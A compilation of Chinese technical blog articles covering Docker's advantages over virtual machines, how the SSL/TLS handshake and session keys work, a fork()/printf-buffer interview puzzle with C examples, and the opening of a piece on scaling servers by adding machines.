Docker 第一次发布的时候，很多人都拿 Docker 和虚拟机 VMware、KVM 和 VirtualBox 比较。尽管从功能上看，Docker 和虚拟化技术致力于解决的问题都差不多，但是 Docker 却是采取了另一种非常不同的方式。虚拟机是虚拟出一套硬件，虚拟机的系统进行的磁盘操作，其实都是在对虚拟出来的磁盘进行操作。当运行 CPU 密集型的任务时，是虚拟机把虚拟系统里的 CPU 指令“翻译”成宿主机的CPU指令并进行执行。两个磁盘层，两个处理器调度器，两个操作系统消耗的内存，所有虚拟出的这些都会带来相当多的性能损失，一台虚拟机所消耗的硬件资源和对应的硬件相当，一台主机上跑太多的虚拟机之后就会过载。而 Docker 就没有这种顾虑。Docker 运行应用采取的是“容器”的解决方案：使用 namespace 和 CGroup 进行资源限制，和宿主机共享内核，不虚拟磁盘，所有的容器磁盘操作其实都是对 /var/lib/docker/ 的操作。简言之，Docker 其实只是在宿主机中运行了一个受到限制的应用程序。


从上面不难看出，容器和虚拟机的概念并不相同，容器也并不能取代虚拟机。在容器力所不能及的地方，虚拟机可以大显身手。例如：宿主机是 Linux，只能通过虚拟机运行 Windows，Docker 便无法做到。再例如，宿主机是 Windows，Windows 并不能直接运行 Docker，Windows上的 Docker 其实是运行在 VirtualBox 虚拟机里的。


Docker 使用层级的文件系统


前面提到过，Docker 和现有容器技术 LXC 等相比，优势之一就是 Docker 提供了镜像管理。对于 Docker 而言，镜像是一个静态的、只读的容器文件系统的快照。然而不仅如此，Docker 中所有的磁盘操作都是对特定的Copy-On-Write文件系统进行的。下面通过一个例子解释一下这个问题。


例如我们要建立一个容器运行 JAVA Web 应用，那么我们应该使用一个已经安装了 JAVA 的镜像。在 Dockerfile（一个用于生成镜像的指令文件）中，应该指明“基于 JAVA 镜像”，这样 Docker 就会去 Docker Hub Registry 上下载提前构建好的 JAVA 镜像。然后再 Dockerfile 中指明下载并解压 Apache Tomcat 软件到 /opt/tomcat 文件夹中。这条命令并不会对原有的 JAVA 镜像产生任何影响，而仅仅是在原有镜像上面添加了一个改动层。当一个容器启动时，容器内的所有改动层都会启动，容器会从第一层中运行 /usr/bin/java 命令，并且调用另外一层中的 /opt/tomcat/bin 命令。实际上，Dockerfile 中每一条指令都会产生一个新的改动层，即便只有一个文件被改动。如果用过 Git 就能更清楚地认识这一点，每条指令就像是每次 commit，都会留下记录。但是对于 Docker 来说，这种文件系统提供了更大的灵活性，也可以更方便地管理应用程序。


我们Spantree的团队有一个自己维护的含有 Tomcat 的镜像。发布新版本也非常简单：使用 Dockerfile 将新版本拷贝进镜像从而创建一个新镜像，然后给新镜像贴上版本的标签。不同版本的镜像的不同之处仅仅是一个 90 MB 大小的 WAR 文件，他们所基于的主镜像都是相同的。如果使用虚拟机去维护这些不同的版本的话，还要消耗掉很多不同的磁盘去存储相同的系统，而使用 Docker 就只需要很小的磁盘空间。即便我们同时运行这个镜像的很多实例，我们也只需要一个基础的 JAVA / TOMCAT 镜像。


Docker 可以节约时间


很多年前我在为一个连锁餐厅开发软件时，仅仅是为了描述如何搭建环境都需要写一个 12 页的 Word 文档。例如本地 Oracle 数据库，特定版本的 JAVA，以及其他七七八八的系统工具和共享库、软件包。整个搭建过程浪费掉了我们团队每个人几乎一天的时间，如果用金钱衡量的话，花掉了我们上万美金的时间成本。虽然客户已经对这种事情习以为常，甚至认为这是引入新成员、让成员适应环境、让自己的员工适应我们的软件所必须的成本，但是相比较起来，我们宁愿把更多的时间花在为客户构建可以增进业务的功能上面。


如果当时有 Docker，那么构建环境就会像使用自动化搭建工具 Puppet / Chef / Salt / Ansible 一样简单，我们也可以把整个搭建时间周期从一天缩短为几分钟。但是和这些工具不同的地方在于，Docker 可以不仅仅可以搭建整个环境，还可以将整个环境保存成磁盘文件，然后复制到别的地方。需要从源码编译 Node.js 吗？Docker 做得到。Docker 不仅仅可以构建一个 Node.js 环境，还可以将整个环境做成镜像，然后保存到任何地方。当然，由于 Docker 是一个容器，所以不用担心容器内执行的东西会对宿主机产生任何的影响。


现在新加入我们团队的人只需要运行 docker-compose up 命令，便可以喝杯咖啡，然后开始工作了。


Docker 可以节省开销


当然，时间就是金钱。除了时间外，Docker 还可以节省在基础设施硬件上的开销。高德纳和麦肯锡的研究表明，数据中心的利用率在 6% - 12% 左右。不仅如此，如果采用虚拟机的话，你还需要被动地监控和设置每台虚拟机的 CPU 硬盘和内存的使用率，因为采用了静态分区(static partitioning)所以资源并不能完全被利用。。而容器可以解决这个问题：容器可以在实例之间进行内存和磁盘共享。你可以在同一台主机上运行多个服务、可以不用去限制容器所消耗的资源、可以去限制资源、可以在不需要的时候停止容器，也不用担心启动已经停止的程序时会带来过多的资源消耗。凌晨三点的时候只有很少的人会去访问你的网站，同时你需要比较多的资源执行夜间的批处理任务，那么可以很简单的便实现资源的交换。


虚拟机所消耗的内存、硬盘、CPU 都是固定的，一般动态调整都需要重启虚拟机。而用 Docker 的话，你可以进行资源限制，得益于 CGroup，可以很方便动态调整资源限制，让然也可以不进行资源限制。Docker 容器内的应用对宿主机而言只是两个隔离的应用程序，并不是两个虚拟机，所以宿主机也可以自行去分配资源。


Docker 有一个健壮的镜像托管系统


前面提到过，这个托管系统就叫做 Docker Hub Registry。截止到 2015年4月29日，互联网上大约有 14000 个公共的 Docker，而大部分都被托管在 Docker Hub 上面。和 Github 已经很大程度上成为开源项目的代表一样，Docker 官方的 Docker Hub 则已经是公共 Docker 镜像的代表。这些镜像可以作为你应用和数据服务的基础。


也正是得益于此，你可以随意尝试最新的技术：说不定有些人就把图形化数据库的实例打包成了 Docker 镜像托管在上面。再例如 Gitlab，手工搭建 Gitlab 非常困难，译者不建议普通用户去手工搭建，而如果使用 Docker Gitlab，这个镜像则会五秒内便搭建完成。再例如特定 Ruby 版本的 Rails 应用，再例如 Linux 上的 .NET 应用，这些都可以使用简单的一条 Docker 命令搭建完成。



  Docker 官方镜像都有 official 标签，安全性可以保证。但是第三方镜像的安全性无法保证，所以请谨慎下载第三方镜像。生产环境下可以只使用第三方提供的 Dockerfile 构建镜像。

  
  Docker Github 介绍：5 秒内搞定一个 Gitlab

  
  关于 Linux 上的 .NET 应用和 Rails 应用，将会在以后的文章中做详细介绍。




Docker 可以避免产生 Bug


Spantree 一直是“固定基础设置”（immutable infrastructure）的狂热爱好者。换句话说，除非有心脏出血这种漏洞，我们尽量不对系统做升级，也尽量不去改变系统的设置。当添加新服务器的时候，我们也会从头构建服务器的系统，然后直接将镜像导入，将服务器放入负载均衡的集群里，然后对要退休的服务器进行健康检查，检查完毕后移除集群。得益于 Docker 镜像可以很轻松的导入导出，我们可以最大程度地减少因为环境和版本问题导致的不兼容，即便有不兼容了也可以很轻松地回滚。当然，有了 Docker，我们在生产、测试和开发中的运行环境得到统一。以前在协同开发时，会因为每个人开发的电脑配置不同而导致“在我的电脑上是能运行的，你的怎么不行”的情况，而如今 Docker 已经帮我们解决了这个问题。


Docker 目前只能运行在 Linux 上


前面也提到过，Docker 使用的是经过长时间生产环境检验的技术，虽然这些技术已经都出现很长时间了，但是大部分技术都还是 Linux 独有的，例如 LXC 和 Cgroup。也就是说，截止到现在，Docker 容器内只能在 Linux 上运行 Linux 上的服务和应用。Microsoft 正在和 Docker 紧密合作，并且已经宣布了下一个版本的 Windows Server 将会支持 Docker 容器，并且命名为 Windows Docker，估计采用的技术应该是Hyper-V Container，我们有望在未来的几年内看到这个版本。


除此之外，类似 boot2docker 和 Docker Machine 这种工具已经可以让我们在 Mac 和 Windows 下通过虚拟机运行 Docker 了。


后记


悄悄的说一句，前文中提到的 Docker 安装、Docker 操作、Dockerfile、Docker Hub、搭建 Rails 环境、甚至搭建 .NET 环境，SegmentFault 正在组织编写相关的文档，欢迎关注我们，及时获取更多最新的教程。


 SSL/TLS原理详解

作者：seanlook

来源： SSL/TLS原理详解



                    
本文大部分整理自网络，相关文章请见文后参考。


关于证书授权中心CA以及数字证书等概念，请移步 OpenSSL 与 SSL 数字证书概念贴 ，如果你想快速自建CA然后签发数字证书，请移步 基于OpenSSL自建CA和颁发SSL证书  。


SSL/TLS作为一种互联网安全加密技术，原理较为复杂，枯燥而无味，我也是试图理解之后重新整理，尽量做到层次清晰。正文开始。


1. SSL/TLS概览


1.1 整体结构


SSL是一个介于HTTP协议与TCP之间的一个可选层，其位置大致如下:




	SSL：（Secure Socket Layer，安全套接字层），为Netscape所研发，用以保障在Internet上数据传输之安全，利用数据加密(Encryption)技术，可确保数据在网络上之传输过程中不会被截取。当前版本为3.0。它已被广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输。

SSL协议位于TCP/IP协议与各种应用层协议之间，为数据通讯提供安全支持。SSL协议可分为两层： SSL记录协议（SSL Record Protocol）：它建立在可靠的传输协议（如TCP）之上，为高层协议提供数据封装、压缩、加密等基本功能的支持。 SSL握手协议（SSL Handshake Protocol）：它建立在SSL记录协议之上，用于在实际的数据传输开始前，通讯双方进行身份认证、协商加密算法、交换加密密钥等。


	TLS：(Transport Layer Security，传输层安全协议)，用于两个应用程序之间提供保密性和数据完整性。

TLS 1.0是IETF（Internet Engineering Task Force，Internet工程任务组）制定的一种新的协议，它建立在SSL 3.0协议规范之上，是SSL 3.0的后续版本，可以理解为SSL 3.1，它是写入了  RFC 的。该协议由两层组成： TLS 记录协议（TLS Record）和 TLS 握手协议（TLS Handshake）。较低的层为 TLS 记录协议，位于某个可靠的传输协议（例如 TCP）上面。




SSL/TLS协议提供的服务主要有：



	认证用户和服务器，确保数据发送到正确的客户机和服务器；

	加密数据以防止数据中途被窃取；

	维护数据的完整性，确保数据在传输过程中不被改变。



1.2 TLS与SSL的差异



	版本号：TLS记录格式与SSL记录格式相同，但版本号的值不同，TLS的版本1.0使用的版本号为SSLv3.1。

	报文鉴别码：SSLv3.0和TLS的MAC算法及MAC计算的范围不同。TLS使用了RFC-2104定义的HMAC算法。SSLv3.0使用了相似的算法，两者差别在于SSLv3.0中，填充字节与密钥之间采用的是连接运算，而HMAC算法采用的是异或运算。但是两者的安全程度是相同的。

	伪随机函数：TLS使用了称为PRF的伪随机函数来将密钥扩展成数据块，是更安全的方式。

	报警代码：TLS支持几乎所有的SSLv3.0报警代码，而且TLS还补充定义了很多报警代码，如解密失败（decryption_failed）、记录溢出（record_overflow）、未知CA（unknown_ca）、拒绝访问（access_denied）等。

	密文族和客户证书：SSLv3.0和TLS存在少量差别，即TLS不支持Fortezza密钥交换、加密算法和客户证书。

	certificate_verify和finished消息：SSLv3.0和TLS在用certificate_verify和finished消息计算MD5和SHA-1散列码时，计算的输入有少许差别，但安全性相当。

	加密计算：TLS与SSLv3.0在计算主密值（master secret）时采用的方式不同。

	填充：用户数据加密之前需要增加的填充字节。在SSL中，填充后的数据长度要达到密文块长度的最小整数倍。而在TLS中，填充后的数据长度可以是密文块长度的任意整数倍（但填充的最大长度为255字节），这种方式可以防止基于对报文长度进行分析的攻击。



TLS的主要增强内容


TLS的主要目标是使SSL更安全，并使协议的规范更精确和完善。TLS 在SSL v3.0 的基础上，提供了以下增强内容：



	更安全的MAC算法

	更严密的警报

	“灰色区域”规范的更明确的定义



TLS对于安全性的改进



	对于消息认证使用密钥散列法：TLS 使用“消息认证代码的密钥散列法”（HMAC），当记录在开放的网络（如因特网）上传送时，该代码确保记录不会被变更。SSLv3.0还提供键控消息认证，但HMAC比SSLv3.0使用的（消息认证代码）MAC 功能更安全。

	增强的伪随机功能（PRF）：PRF生成密钥数据。在TLS中，HMAC定义PRF。PRF使用两种散列算法保证其安全性。如果任一算法暴露了，只要第二种算法未暴露，则数据仍然是安全的。

	改进的已完成消息验证：TLS和SSLv3.0都对两个端点提供已完成的消息，该消息认证交换的消息没有被变更。然而，TLS将此已完成消息基于PRF和HMAC值之上，这也比SSLv3.0更安全。

	一致证书处理：与SSLv3.0不同，TLS试图指定必须在TLS之间实现交换的证书类型。

	特定警报消息：TLS提供更多的特定和附加警报，以指示任一会话端点检测到的问题。TLS还对何时应该发送某些警报进行记录。



2. 密钥协商过程——TLS握手


SSL协议分为两部分：Handshake Protocol和Record Protocol。其中Handshake Protocol用来协商密钥，协议的大部分内容就是通信双方如何利用它来安全的协商出一份密钥。 Record Protocol则定义了传输的格式。


由于非对称加密的速度比较慢，所以它一般用于密钥交换，双方通过公钥算法协商出一份密钥，然后通过对称加密来通信，当然，为了保证数据的完整性，在加密前要先经过HMAC的处理。


SSL缺省只进行server端的认证，客户端的认证是可选的。以下是其流程图（摘自TLS协议）。



2.1 客户端发出请求（ClientHello）


由于客户端(如浏览器)对一些加解密算法的支持程度不一样，但是在TLS协议传输过程中必须使用同一套加解密算法才能保证数据能够正常的加解密。在TLS握手阶段，客户端首先要告知服务端，自己支持哪些加密算法，所以客户端需要将本地支持的加密套件(Cipher Suite)的列表传送给服务端。除此之外，客户端还要产生一个随机数，这个随机数一方面需要在客户端保存，另一方面需要传送给服务端，客户端的随机数需要跟服务端产生的随机数结合起来产生后面要讲到的 Master Secret 。


综上，在这一步，客户端主要向服务器提供以下信息：



	支持的协议版本，比如TLS 1.0版

	一个客户端生成的随机数，稍后用于生成"对话密钥"

	支持的加密方法，比如RSA公钥加密

	支持的压缩方法



2.2 服务器回应（SeverHello)


上图中，从Server Hello到Server Done，有些服务端的实现是每条单独发送，有服务端实现是合并到一起发送。Sever Hello和Server Done都是只有头没有内容的数据。


服务端在接收到客户端的Client Hello之后，服务端需要将自己的证书发送给客户端。这个证书是对于服务端的一种认证。例如，客户端收到了一个来自于称自己是www.alipay.com的数据，但是如何证明对方是合法的alipay支付宝呢？这就是证书的作用，支付宝的证书可以证明它是alipay，而不是财付通。证书是需要申请，并由专门的数字证书认证机构(CA)通过非常严格的审核之后颁发的电子证书。颁发证书的同时会产生一个私钥和公钥。私钥由服务端自己保存，不可泄漏。公钥则是附带在证书的信息中，可以公开的。证书本身也附带一个证书电子签名，这个签名用来验证证书的完整性和真实性，可以防止证书被串改。另外，证书还有个有效期。


在服务端向客户端发送的证书中没有提供足够的信息（证书公钥）的时候，还可以向客户端发送一个 Server Key Exchange，


此外，对于非常重要的保密数据，服务端还需要对客户端进行验证，以保证数据传送给了安全的合法的客户端。服务端可以向客户端发出 Cerficate Request 消息，要求客户端发送证书对客户端的合法性进行验证。比如，金融机构往往只允许认证客户连入自己的网络，就会向正式客户提供USB密钥，里面就包含了一张客户端证书。


跟客户端一样，服务端也需要产生一个随机数发送给客户端。客户端和服务端都需要使用这两个随机数来产生Master Secret。


最后服务端会发送一个Server Hello Done消息给客户端，表示Server Hello消息结束了。


综上，在这一步，服务器的回应包含以下内容：



	确认使用的加密通信协议版本，比如TLS 1.0版本。如果浏览器与服务器支持的版本不一致，服务器关闭加密通信

	一个服务器生成的随机数，稍后用于生成"对话密钥"

	确认使用的加密方法，比如RSA公钥加密

	服务器证书



2.3 客户端回应（Certificate Verify）


Client Key Exchange


如果服务端需要对客户端进行验证，在客户端收到服务端的 Server Hello 消息之后，首先需要向服务端发送客户端的证书，让服务端来验证客户端的合法性。


Certificate Verify

接着，客户端需要对服务端的证书进行检查，如果证书不是可信机构颁布、或者证书中的域名与实际域名不一致、或者证书已经过期，就会向访问者显示一个警告，由其选择是否还要继续通信。如果证书没有问题，客户端就会从服务器证书中取出服务器的公钥。然后，向服务器发送下面三项信息：



	一个随机数。该随机数用服务器公钥加密，防止被窃听

	编码改变通知，表示随后的信息都将用双方商定的加密方法和密钥发送

	客户端握手结束通知，表示客户端的握手阶段已经结束。这一项同时也是前面发送的所有内容的hash值，用来供服务器校验



上面第一项的随机数，是整个握手阶段出现的第三个随机数，它是客户端使用一些加密算法(例如：RSA, Diffie-Hellman)产生一个48个字节的Key，这个Key叫 PreMaster Secret，很多材料上也被称作 PreMaster Key。


ChangeCipherSpec

ChangeCipherSpec是一个独立的协议，体现在数据包中就是一个字节的数据，用于告知服务端，客户端已经切换到之前协商好的加密套件（Cipher Suite）的状态，准备使用之前协商好的加密套件加密数据并传输了。


在ChangecipherSpec传输完毕之后，客户端会使用之前协商好的加密套件和Session Secret加密一段 Finish 的数据传送给服务端，此数据是为了在正式传输应用数据之前对刚刚握手建立起来的加解密通道进行验证。


2.4 服务器的最后回应（Server Finish）


服务端在接收到客户端传过来的 PreMaster 加密数据之后，使用私钥对这段加密数据进行解密，并对数据进行验证，也会使用跟客户端同样的方式生成 Session Secret，一切准备好之后，会给客户端发送一个 ChangeCipherSpec，告知客户端已经切换到协商过的加密套件状态，准备使用加密套件和 Session Secret加密数据了。之后，服务端也会使用 Session Secret 加密一段 Finish 消息发送给客户端，以验证之前通过握手建立起来的加解密通道是否成功。


根据之前的握手信息，如果客户端和服务端都能对Finish信息进行正常加解密且消息正确的被验证，则说明握手通道已经建立成功，接下来，双方可以使用上面产生的Session Secret对数据进行加密传输了。


2.5 几个secret


Secret Keys

上面的分析和讲解主要是为了突出握手的过程，所以PreMaster secret，Master secret，session secret都是一代而过，但是对于Https，SSL/TLS深入的理解和掌握，这些Secret Keys是非常重要的部分。所以，准备把这些Secret Keys抽出来单独分析和讲解。


我们先来看看这些Secret Keys的生成过程以及作用流程图：



PreMaster secret

PreMaster Secret是在客户端使用RSA或者Diffie-Hellman等加密算法生成的。它将用来跟服务端和客户端在Hello阶段产生的随机数结合在一起生成 Master Secret。在客户端使用服务端的公钥对PreMaster Secret进行加密之后传送给服务端，服务端将使用私钥进行解密得到PreMaster secret。也就是说服务端和客户端都有一份相同的PreMaster secret和随机数。


PreMaster secret前两个字节是TLS的版本号，这是一个比较重要的用来核对握手数据的版本号，因为在Client Hello阶段，客户端会发送一份加密套件列表和当前支持的SSL/TLS的版本号给服务端，而且是使用明文传送的，如果握手的数据包被破解之后，攻击者很有可能串改数据包，选择一个安全性较低的加密套件和版本给服务端，从而对数据进行破解。所以，服务端需要对密文中解密出来对的PreMaster版本号跟之前Client Hello阶段的版本号进行对比，如果版本号变低，则说明被串改，则立即停止发送任何消息。


关于PreMaster Secret(Key)的计算请参考 Https SSL/TLS PreMaster/Master Secret(Key)计算。


Master secret

上面已经提到，由于服务端和客户端都有一份相同的PreMaster secret和随机数，这个随机数将作为后面产生Master secret的种子，结合PreMaster secret，客户端和服务端将计算出同样的Master secret。


Master secret是有系列的hash值组成的，它将作为数据加解密相关的secret的 Key Material 的一部分。Key Material最终解析出来的数据如下：



其中，write MAC key，就是session secret或者说是session key。Client write MAC key是客户端发数据的session secret，Server write MAC secret是服务端发送数据的session key。MAC(Message Authentication Code)，是一个数字签名，用来验证数据的完整性，可以检测到数据是否被串改。


关于Session Secret(Key)的计算请参考 Https SSL/TLS Session Secret(Key)计算。


2.6 应用数据传输


在所有的握手阶段都完成之后，就可以开始传送应用数据了。应用数据在传输之前，首先要附加上MAC secret，然后再对这个数据包使用write encryption key进行加密。在服务端收到密文之后，使用Client write encryption key进行解密，客户端收到服务端的数据之后使用Server write encryption key进行解密，然后使用各自的write MAC key对数据的完整性包括是否被串改进行验证。


2.7 总结


SSL客户端（也是TCP的客户端）在TCP链接建立之后，发出一个ClientHello来发起握手，这个消息里面包含了自己可实现的算法列表和其它一些需要的消息，SSL的服务器端会回应一个ServerHello，这里面确定了这次通信所需要的算法，然后发过去自己的证书（里面包含了身份和自己的公钥）。Client在收到这个消息后会生成一个秘密消息，用SSL服务器的公钥加密后传过去，SSL服务器端用自己的私钥解密后，会话密钥协商成功，双方可以用同一份会话密钥来通信了。


3. 附：密钥协商的形象化比喻


如果上面的说明不够清晰，这里我们用个形象的比喻，我们假设A与B通信，A是SSL客户端，B是SSL服务器端，加密后的消息放在方括号[]里，以突出明文消息的区别。双方的处理动作的说明用圆括号（）括起。


A：我想和你安全的通话，我这里的对称加密算法有DES,RC5,密钥交换算法有RSA和DH，摘要算法有MD5和SHA。


B：我们用DES－RSA－SHA这对组合好了。

   这是我的证书，里面有我的名字和公钥，你拿去验证一下我的身份（把证书发给A）。

   目前没有别的可说的了。


A：（查看证书上B的名字是否无误，并通过手头早已有的CA的证书验证了B的证书的真实性，如果其中一项有误，发出警告并断开连接，这一步保证了B的公钥的真实性）

   （产生一份秘密消息，这份秘密消息处理后将用作加密密钥，加密初始化向量（IV）和hmac的密钥。将这份秘密消息-协议中称为per_master_secret-用B的公钥加密，封装成称作ClientKeyExchange的消息。由于用了B的公钥，保证了第三方无法窃听）

   我生成了一份秘密消息，并用你的公钥加密了，给你（把ClientKeyExchange发给B）

   注意，下面我就要用加密的办法给你发消息了！

   （将秘密消息进行处理，生成加密密钥，加密初始化向量和hmac的密钥）

   [我说完了]


B：（用自己的私钥将ClientKeyExchange中的秘密消息解密出来，然后将秘密消息进行处理，生成加密密钥，加密初始化向量和hmac的密钥，这时双方已经安全的协商出一套加密办法了）

   注意，我也要开始用加密的办法给你发消息了！

   [我说完了]


A: [我的秘密是...]


B: [其它人不会听到的...]


4. SSL安全性


SecurityPortal在2000年底有一份文章《The End of SSL and SSH?》激起了很多的讨论， 目前也有一些成熟的工具如dsniff（http://www.monkey.org/~dugsong/dsniff/）可以通过man in the middle攻击来截获https的消息。


从上面的原理可知，SSL的结构是严谨的，问题一般出现在实际不严谨的应用中。常见的攻击就是middle in the middle攻击，它是指在A和B通信的同时，有第三方C处于信道的中间，可以完全听到A与B通信的消息，并可拦截，替换和添加这些消息。



	SSL可以允许多种密钥交换算法，而有些算法，如DH，没有证书的概念，这样A便无法验证B的公钥和身份的真实性，从而C可以轻易的冒充，用自己的密钥与双方通信，从而窃听到别人谈话的内容。

而为了防止middle in the middle攻击，应该采用有证书的密钥交换算法。

	有了证书以后，如果C用自己的证书替换掉原有的证书之后，A的浏览器会弹出一个警告框进行警告，但又有多少人会注意这个警告呢？

	由于美国密码出口的限制，IE，netscape等浏览器所支持的加密强度是很弱的，如果只采用浏览器自带的加密功能的话，理论上存在被破解可能。



5. 代理


下面探讨一下SSL的代理是怎样工作的

当在浏览器里设置了https的代理，而且里输入了https://www.example.com之后，浏览器会与proxy建立tcp链接，然后向其发出这么一段消息：


   CONNECT server.example.com:443 HTTP/1.1
   Host: server.example.com:443



然后proxy会向webserver端建立tcp连接,之后，这个代理便完全成了个内容转发装置。浏览器与web server会建立一个安全通道，因此这个安全通道是端到端的，尽管所有的信息流过了proxy,但其内容proxy是无法解密和改动的（当然要由证书的支持，否则这个地方便是个man in the middle攻击的好场所，见上面的安全部分）。


CA证书以及如何使用OpenSSL自签署，见文章OpenSSL自签署证书 。


6. 参考



	Https(SSL/TLS)原理详解

	SSL与TLS的区别以及介绍

	SSL/TLS协议运行机制的概述

	SSL/TLS/WTLS原理

	Transport Layer Security (TLS)

	传输层安全协议

	Survival guides - TLS/SSL and SSL (X.509) Certificates





原文链接地址：http://seanlook.com/2015/01/07/tls-ssl-understand/





 一个很有趣的fork面试程序，和大家分享下经验

作者：wind3110991

来源： 一个很有趣的fork面试程序，和大家分享下经验



                    
为了暑期的腾讯实习，拿到offer之后一直在linux的道路上不断学习。

   这两天逛了下酷壳大神的blog（http://coolshell.cn/articles/7965.html），偶然看到一个关于fork小问题，虽然之前想通了，不过还是值得回味并且和大家分享下的。



  大家有兴趣可以想想，下面输出了多少个“g”？




#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g");
   }

   wait(NULL);
   wait(NULL);

   return 0;
}



也许你很快就说，那么简单，第一次循环，fork后2个进程，第二次再fork出4个，一共6个进程，肯定是6个“g”


恭喜你，如果我是面试官，那么你已经跪了 ＝ ＝


答案：会输出8个“g”


有一个很重要的东西是，在fork()的调用处，整个父进程空间会原模原样地复制到子进程中，包括指令，变量值，程序调用栈，环境变量，缓冲区，等等。


等等！！什么，你说全部复制过去？那么我可以解释为：

上面的那个程序为什么会输入8个“-”，这是因为printf(“-“);语句有buffer


我们来试试printf的缓冲区：


#include <stdio.h>
#include <unistd.h>    //for sleep()

int main(void)
{
    printf("/nstart the dead loop/n");
    while(1)
    {    
        printf("/b->");
        fflush(stdout);//刷新输出缓冲区
        usleep(100000);
    }
    return 1;
}



哦哦！！如果不做fflush这个动作，上边的输出便不会显示到屏幕上咯？

除非其中有换行操作或者缓冲区，这也许就是所谓的“到终端行规程”！


呃呃，不要脱离了重点，我们还是回到刚才的fork问题上～


既然我们知道了printf有缓冲区，那么，又如何？


容我引用下酷壳大神美丽的图解：





你可以清楚的看到，用阴影框标注出来的两个“最终版子进程（i＝2）”


他们在fork拷贝的时候，就将 parent的缓冲区一并拷贝过去，这时“g”还在缓冲区

那么，在输出的时候，两个子进程才一并把“g”从缓冲区输出来，那么是不是两个子进程没人多输出了一个？

1+1+1+1+12+12=8个


OK,我知道你和我一样可能有点懵懵的，我改下程序咯～


#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g  ppid=%d, pid=%d, i=%d ", getppid(), getpid(), i);
   }

   wait(NULL);
   wait(NULL);

   return 0;



你可以gcc下这个程序，在我的电脑里输出是这样的：


g  ppid=3082, pid=3128, i=0 g  ppid=3128, pid=3130, i=1 
g  ppid=3128, pid=3129, i=0 g  ppid=3129, pid=3131, i=1 
g  ppid=3128, pid=3129, i=0 g  ppid=3128, pid=3129, i=1 
g  ppid=3082, pid=3128, i=0 g  ppid=3082, pid=3128, i=1



可以看到ppid为3082 pid为3128的输出有3次

同样的，ppid为3128 pid为3129的输出有3次


你将显然发现，原本i＝0时应该只会有两个“g”被输出，但是现在居然诡异地多出了两个？到底是哪两个呢？

我索性标注下这个输出结果吧～


（1）g  ppid=3082, pid=3128, i=0 （5）g  ppid=3128, pid=3130, i=1 
（2）g  ppid=3128, pid=3129, i=0 （6）g  ppid=3129, pid=3131, i=1 
（3）g  ppid=3128, pid=3129, i=0 （7）g  ppid=3128, pid=3129, i=1 
（4）g  ppid=3082, pid=3128, i=0 （8）g  ppid=3082, pid=3128, i=1



明显的，（1）和（4）是“不可能”有两个的，（2）和（3）也是，现在你知道了吧，i＝0时的两个进程，在下一次fork的时候各自成为了下一个父进程，在这一次fork时，他们的信息被完全复制到了子进程，那么最后一步每一个子进程缓冲区里还存有多余的“g”（见上图）


你还可以用pstree -p | grep fork命令试下

可以得出一个树状的结构：


$ pstree -p | grep fork
|-bash(3082)-+-fork(3128)-+-fork(3129)---fork(3131)
|            |            `-fork(3130)



那么，最后我们再试试，在printf一个g的后面加上一个换行符（或者fflush）


#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
   int i;
   for(i=0; i<2; i++){
      fork();
      printf("g\n");
   }

   wait(NULL);
   wait(NULL);

   return 0;
}



输出的结果将是换行的6个“g

原因就在于，每一次换行，缓冲区的“g”，就会把数据“刷”出缓冲区



  （其实或是EOF，或是缓中区满，或是文件描述符关闭，或是主动flush，或是程序退出）




下次大家在面试的时候如果遇到这个问题，相信都可以迎刃而解了吧 ～～～

（再次感谢酷壳大神，大家对我的看法如果有问题欢迎交流！）


 如何应对服务器压力？服务器横向扩展（加机器）策略漫谈

作者：唐霜

来源： 如何应对服务器压力？服务器横向扩展（加机器）策略漫谈



                    
在生产环境中，一个网站或服务端应用出现响应迟缓的时候，就应该考虑是否由于用户量太多，导致服务器难以处理的情况，并应该考虑花钱来解决这个问题。当然，这里首先会想到廉价的解决方式，比如通过调整服务器配置，优化代码性能等，但这些方式技术成本和时间成本大，有的时候优化效果也并不理想。而最简单粗暴，也是最有效的方式，就是我们俗称的“加机器”。本文就来谈一谈服务器横向扩展。

1. 单台服务器的扩展

一般而言，一台服务器上面，最起码要运行三个环境：服务器环境、程序语言执行环境、数据库环境。对于我们用PHP进行开发的网站，一般会考虑Apache+NGINX+MySQL+Redis+PHP来跑整个系统，其中，nginx处理静态资源响应，apache处理php进程，mysql负责数据存储，redis负责经常需要进行调用的临时性数据。但是，在这个环境中，我们往往忽视一个非常重要的因素，那就是服务器本身的硬件配置。首先是CPU和内存，这是我们比较容易想到的，CPU决定了服务器的运算速率，内存决定了一个程序系统能够在一定时间内存放的变量和数据结构吞吐。程序对内存的操作，速度会比对硬盘的读写快很多，直到内存中的空间被释放回收。而如果内存不足，则会导致程序无法完成高效的内存数据读写，拖慢网站或应用速度。除了CPU和内存，另一个被忽视的因素就是硬盘。传统的机械硬盘在读写时，依赖硬盘的转速，而无论如何，只要硬盘要转，就会花费时间。

因此，单台服务器的扩展主要是增多、扩大CPU，增加内存，增加硬盘，或更换固态硬盘。于此同时，增加宽带来提高网络容量。这是横向扩展中最容易做到的，一般向服务商提供申请，或直接购买就可以完成。

2. 数据库和程序进程分离

PHP+MySQL的网站，其实比较大的局限在于MySQL的连接和执行效率。几乎所有的公司都要求PHP程序员掌握MySQL的优化方法，但是无论如何优化，始终会有一个瓶颈，这个瓶颈一方面是由服务器硬件IO带来的。因此，在很多访问量比较大，或数据处理压力比较大的项目中，都会采用数据库服务器和程序服务器分离的方法。

数据库服务器和程序执行服务器的性能配置根据实际情况而定，有的时候，数据库的压力更大，因此数据库服务器配置更加高。这种扩展方式实现起来也比较简单，例如在阿里云购买服务器，新增一台与原来服务器在同一个网段的服务器，新服务器不安装apache和nginx，只安装mysql，停用原来服务器中的mysql，迁移数据后，通过局域网IP，将程序的数据库连接到这台新的服务器上。



目前市面上有不同服务商的云数据库服务，但从价格而言，云数据库的价格经常高于一台普通云服务器的价格，对于中小型项目而言，采用两台服务器的成本低于购买云数据库服务来代替数据库服务器的费用。

3. 静态资源与程序脚本的分离

